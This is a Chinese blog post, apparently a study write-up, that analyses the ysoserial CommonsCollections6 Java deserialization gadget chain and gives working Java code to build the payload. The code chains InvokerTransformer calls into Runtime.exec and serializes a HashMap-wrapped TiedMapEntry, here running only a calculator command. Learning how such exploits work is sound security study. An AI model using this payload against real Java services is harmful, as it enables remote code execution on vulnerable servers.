前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >yso!cc6链学习

yso!cc6链学习

作者头像
HhhM
发布2022-08-10 16:15:11
3480
发布2022-08-10 16:15:11
举报
文章被收录于专栏:H&M的专栏H&M的专栏

yso!cc6链学习

2021-03-29 18:03:00
代码审计 - 反序列化 - java

最近想起来学习java,看了下p神的java漫谈(十二),于是也跟着审了一下yso!cc6的链。

Gadget chain

yso中提供的gadget chain为:

代码语言:javascript
复制
    Gadget chain:
        java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

相较于cc1而言,cc6是在高版本>Java 8u71后cc1不可用的情况下解决方案,相较于cc1,cc6同样是使用了cc1中提到的Transformer链的链式反射达成命令执行,同样的使用到cc1中的get方法来触发transform方法,那么这一部分我就不做分析了,重点关注一下新出现的TiedMapEntry以及前面的HashSet、HashMap。

分析

先看到TiedMapEntry这个类,在cc6中属于比较关键的一个类,通过这个类可以触发lazymap#get方法,直接看到其hashCode跟getValue方法:

很明显hashCode中调用了getValue方法,map在构造函数中可以传入,这里指定为lazymap的话顺理成章的就触发了transform方法了。

然后看到hashmap的put跟hash方法:

put会调用到hash方法,hash调用了key#hashCode,串联到上面TiedMapEntry#hashCode那么key的值就很明显了。

然后看到HashSet#readObject方法:

至此就很明朗了。

另辟蹊径

p师傅的java漫谈中提到了事实上HashMap#readObject中就已经可以触发hash方法了:

很明显这里是遍历map,那么只要往HashMap放入一个key为TiedMapEntry的键值对即可完成该gadget。

gadget编写

因为tcl看着yso里面的gadget有很多不明白的地方,所以选择跟着p神的链来编写gadget。

首先的lazymap,一如cc1中的编写:

代码语言:javascript
复制
//一个fake的Transformer数组避免运行时直接弹出计算器
Transformer[] fakeTransformers = new Transformer[]{
  new ConstantTransformer(1)
};
//((Runtime) Runtime.class.getMethod("getRuntime").invoke(new Object[] {
//                  null, new Object[0] })).exec("open -a Calculator")
Transformer[] realTransformers = new Transformer[] {
  //class java.lang.Runtime
  new ConstantTransformer(Runtime.class),
  //public static java.lang.Runtime java.lang.Runtime.getRuntime()
  new InvokerTransformer("getMethod",
                         new Class[]{String.class,Class[].class},
                         new Object[]{"getRuntime",new Class[0]}),
  //Runtime实例
  new InvokerTransformer("invoke",
                         new Class[]{Object.class,Object.class},
                         new Object[]{null,new Class[0]}),
  //执行命令
  new InvokerTransformer("exec",
                         new Class[]{String.class},
                         new String[]{"open -a Calculator"}
                        )

};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

先把faketransformer放入map中,等到最后序列化时再将真正的transformer放入,那么下面就是TiedMapEntry。

代码语言:javascript
复制
TiedMapEntry tm = new TiedMapEntry(outerMap,"all");
//HashMap#readObject会对key调用hash方法
HashMap expMap = new HashMap();
expMap.put(tm,"allisok");
outerMap.remove("all");
//通过反射获取transformerChain中的私有属性iTransformers并设置为realTransformers
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, realTransformers);

//序列化
ByteArrayOutputStream bass = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(bass);
oss.writeObject(expMap);

//本地测试
ByteArrayInputStream bais = new ByteArrayInputStream(bass.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = ois.readObject();

注意到outerMap.remove("all");这里是因为我们在调用HashMap#put时会触发到hash方法,导致链被调用但是因为lazymap#get需要一个不存在的key才会执行factory.transform所以这里将lazymap中的key使用remove移除掉,否则会影响到payload的生成导致链的利用失败。

本文原创于HhhM的博客,转载请标明出处。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-03-29 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • yso!cc6链学习
    • Gadget chain
      • 分析
        • 另辟蹊径
          • gadget编写
          相关产品与服务
          文件存储
          文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档